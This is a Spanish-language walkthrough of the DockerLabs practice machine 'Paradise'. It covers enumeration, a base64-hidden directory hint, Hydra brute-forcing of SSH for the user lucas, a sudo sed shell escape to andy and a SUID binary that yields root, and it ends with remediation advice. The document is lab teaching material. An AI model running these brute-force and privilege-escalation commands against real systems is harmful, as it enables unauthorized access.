Skip to content

Paradise

This content is not available in your language yet.

Este documento describe la resolución completa de la máquina Paradise, desarrollada por kaikoperez para la plataforma DockerLabs y catalogada como fácil. El análisis se estructura de forma clara y progresiva, permitiendo comprender tanto la lógica de explotación como las vulnerabilidades presentes.

El objetivo principal es documentar:

  • Identificación de vectores de ataque.
  • Análisis de servicios expuestos y archivos accesibles.
  • Obtención de acceso inicial a través de la explotación de un fallo de inclusión de archivos y posteriormente un ataque de fuerza bruta.
  • Escalada de privilegios mediante binarios con permisos elevados, hasta alcanzar el control total del sistema.

La metodología empleada se organiza en tres fases:

  1. Reconocimiento: análisis superficial y profundo del entorno, servicios y recursos accesibles.
  2. Explotación: validación de vulnerabilidades, extracción de credenciales y obtención del primer acceso.
  3. Escalada de privilegios: abuso de configuraciones de sudo y binarios privilegiados para alcanzar el nivel root.

Todas las pruebas se realizaron en el entorno aislado provisto por DockerLabs.


AtributoValor
NombreParadise
Autorkaikoperez
DificultadFácil
Fecha01/09/2024
PlataformaDockerLabs

Se descomprime la máquina:

Ventana de terminal
unzip "Paradise.zip"

Posteriormente, se inicia el contenedor:

Ventana de terminal
sudo bash auto_deploy.sh "Paradise.tar"

El script devuelve la IP interna, que será utilizada en cada fase de la auditoría.

IP asignada


Para facilitar la documentación de hallazgos, se crea una estructura organizada de directorios:

Ventana de terminal
mkdir -p Paradise/{content,exploits,nmap,gobuster,scripts}
cd Paradise

Se realiza un escaneo completo de puertos con Nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.18.0.2 -oG allPorts
extractPorts allPorts

Puertos detectados:

  • 22/tcp — SSH
  • 80/tcp — HTTP
  • 139/tcp — NetBios-ssn
  • 445/tcp — Microsoft-ds

Puertos abiertos

La presencia de SMB (139 y 445) abre la posibilidad de enumeración adicional mediante herramientas especializadas.


Se procede a identificar directorios y archivos accesibles:

Ventana de terminal
gobuster dir \
-u http://172.18.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js \
-t 200

gobuster scan

Resultado de interés:

  • /img/ — Contiene las imágenes mostradas en la galería.
  • /login.php — Formulario que requiere correo y código.
  • /index.html — Página principal con galería fotográfica. index content
  • /galery.html — Galería de fotos con un comentario codificado en base64 dentro del código fuente. Gallery pista
  • /booking.html — Formulario sencillo que solicita un correo.

La nota codificada en galery.html destaca como la pista más relevante hasta ese momento.


Se ejecuta enum4linux para identificar recursos compartidos:

shares smb

El análisis muestra únicamente los shares disponibles, sin usuarios válidos ni información útil para autenticación.


El comentario encontrado en galery.html, una vez decodificado desde base64, revela la cadena:

estoesunsecreto

Aunque no corresponde a credenciales, se intenta validar si este texto coincide con un directorio dentro del sitio web. El directorio existe, y en su interior se encuentra el archivo:

mensajeparalucas

Contenido del archivo:

content of Lucas

El mensaje advierte al usuario lucas que su contraseña es débil y vulnerable a ataques de fuerza bruta. Esta pista apunta directamente al servicio SSH, indicado previamente por el escaneo de puertos.

Se utiliza Hydra para realizar un ataque directo al servicio SSH:

Ventana de terminal
hydra -l lucas -P rockyou.txt ssh://172.17.0.2 -t 64

hydra result

La contraseña es encontrada con éxito, permitiendo acceso directo al sistema:

ssh conect


Revisando permisos sudo:

sudo -l

El usuario lucas puede ejecutar sed como andy. El binario sed permite ejecutar comandos arbitrarios cuando se combina con ciertas expresiones.

Explotación:

Ventana de terminal
sudo -u andy sed -n '1e exec sh 1>&0' /etc/hosts

Acceso como andy:

andy access


Aunque sudo -l no muestra permisos especiales, se identifican binarios con SUID activo:

Ventana de terminal
find / -perm -4000 2>/dev/null

find result

Entre los resultados aparece el binario:

/usr/local/bin/privileged_exec

Se ejecuta y concede una shell con privilegios root:

Ventana de terminal
/usr/local/bin/privileged_exec

root access


  • Exposición de información sensible en comentarios del código fuente.
  • Directorio oculto accesible sin autenticación.
  • Almacenamiento de notas internas que revelan debilidades de contraseñas.
  • Servicio SSH sin protección contra intentos de fuerza bruta.
  • Configuración incorrecta de permisos sudo sobre sed.
  • Binario SUID peligroso sin validaciones.

  • Evitar dejar comentarios con información operativa o sensible en producción.
  • Restringir directorios ocultos mediante autenticación o reglas del servidor.
  • Deshabilitar el acceso SSH a usuarios con contraseñas débiles.
  • Implementar mecanismos de bloqueo ante múltiples intentos fallidos (fail2ban).
  • Revisar permisos sudo y eliminar aquellos que no sean estrictamente necesarios.
  • Auditar y eliminar binarios SUID no esenciales.
  • Aplicar prácticas seguras de gestión de secretos y credenciales.